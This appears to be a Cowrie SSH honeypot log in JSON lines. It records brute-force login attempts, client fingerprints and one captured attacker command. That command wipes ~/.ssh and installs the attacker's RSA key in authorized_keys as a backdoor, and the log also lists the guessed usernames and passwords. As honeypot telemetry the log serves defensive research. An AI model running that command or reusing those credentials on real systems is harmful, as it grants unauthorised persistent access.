{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:53.359358Z","src_ip":"156.238.246.148","session":"fab4495b65d9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:53.814653Z","src_ip":"156.238.246.148","session":"fab4495b65d9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:53.817532Z","src_ip":"156.238.246.148","session":"fab4495b65d9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:54.036324Z","src_ip":"156.238.246.148","session":"fab4495b65d9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:54.040581Z","src_ip":"156.238.246.148","session":"fab4495b65d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.246.148","src_port":38026,"dst_ip":"10.17.0.5","dst_port":22,"session":"f33344a737d3","protocol":"ssh","message":"New connection: 156.238.246.148:38026 (10.17.0.5:22) [session: f33344a737d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:54.227932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:54.232477Z","src_ip":"156.238.246.148","session":"f33344a737d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:54.436790Z","src_ip":"156.238.246.148","session":"f33344a737d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:55.288017Z","src_ip":"156.238.246.148","session":"f33344a737d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:56.495771Z","src_ip":"156.238.246.148","session":"f33344a737d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.246.148","src_port":57118,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f07658da334","protocol":"ssh","message":"New connection: 156.238.246.148:57118 (10.17.0.5:22) [session: 3f07658da334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:56.694386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:56.698729Z","src_ip":"156.238.246.148","session":"3f07658da334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:56.900735Z","src_ip":"156.238.246.148","session":"3f07658da334","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:57.744614Z","src_ip":"156.238.246.148","session":"3f07658da334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":53206,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4e9808773e9","protocol":"ssh","message":"New connection: 24.144.91.67:53206 (10.17.0.5:22) [session: e4e9808773e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:57.802541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:57.807300Z","src_ip":"24.144.91.67","session":"e4e9808773e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:57.886136Z","src_ip":"24.144.91.67","session":"e4e9808773e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:57.950472Z","src_ip":"156.238.246.148","session":"3f07658da334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:57.958680Z","src_ip":"156.238.246.148","session":"fab4495b65d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server1","password":"12345","message":"login attempt [server1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:58.233431Z","src_ip":"24.144.91.67","session":"e4e9808773e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:42:59.314553Z","src_ip":"24.144.91.67","session":"e4e9808773e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53260,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e90eabf6a5d","protocol":"ssh","message":"New connection: 195.178.110.218:53260 (10.17.0.5:22) [session: 9e90eabf6a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:03.321830Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:03.403369Z","src_ip":"195.178.110.218","session":"9e90eabf6a5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":53528,"dst_ip":"159.203.135.109","dst_port":22,"session":"602e48744544","protocol":"ssh","message":"New connection: 131.161.249.165:53528 (159.203.135.109:22) [session: 602e48744544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:31.256562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:31.260997Z","src_ip":"131.161.249.165","session":"602e48744544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:31.385083Z","src_ip":"131.161.249.165","session":"602e48744544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"retag","password":"retag@123456","message":"login attempt [retag/retag@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:31.915151Z","src_ip":"131.161.249.165","session":"602e48744544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:33.042482Z","src_ip":"131.161.249.165","session":"602e48744544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":45086,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0ca6581167f","protocol":"ssh","message":"New connection: 20.244.95.173:45086 (10.17.0.5:22) [session: f0ca6581167f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:41.337832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:41.342341Z","src_ip":"20.244.95.173","session":"f0ca6581167f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:41.540885Z","src_ip":"20.244.95.173","session":"f0ca6581167f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moon","password":"moon","message":"login attempt [moon/moon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:41.944436Z","src_ip":"20.244.95.173","session":"f0ca6581167f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:43.144475Z","src_ip":"20.244.95.173","session":"f0ca6581167f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":54308,"dst_ip":"10.17.0.5","dst_port":22,"session":"f234331451f6","protocol":"ssh","message":"New connection: 24.144.91.67:54308 (10.17.0.5:22) [session: f234331451f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:49.226294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:49.230673Z","src_ip":"24.144.91.67","session":"f234331451f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:49.300620Z","src_ip":"24.144.91.67","session":"f234331451f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steam","password":"steamsteam","message":"login attempt [steam/steamsteam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:49.614635Z","src_ip":"24.144.91.67","session":"f234331451f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:50.686712Z","src_ip":"24.144.91.67","session":"f234331451f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.153.157.222","src_port":60996,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b464ad78df4","protocol":"ssh","message":"New connection: 82.153.157.222:60996 (10.17.0.5:22) [session: 0b464ad78df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:57.508654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:57.514220Z","src_ip":"82.153.157.222","session":"0b464ad78df4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:57.605831Z","src_ip":"82.153.157.222","session":"0b464ad78df4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liang","password":"Liang123","message":"login attempt [liang/Liang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:58.369181Z","src_ip":"82.153.157.222","session":"0b464ad78df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:43:59.463528Z","src_ip":"82.153.157.222","session":"0b464ad78df4","protocol":"ssh"}
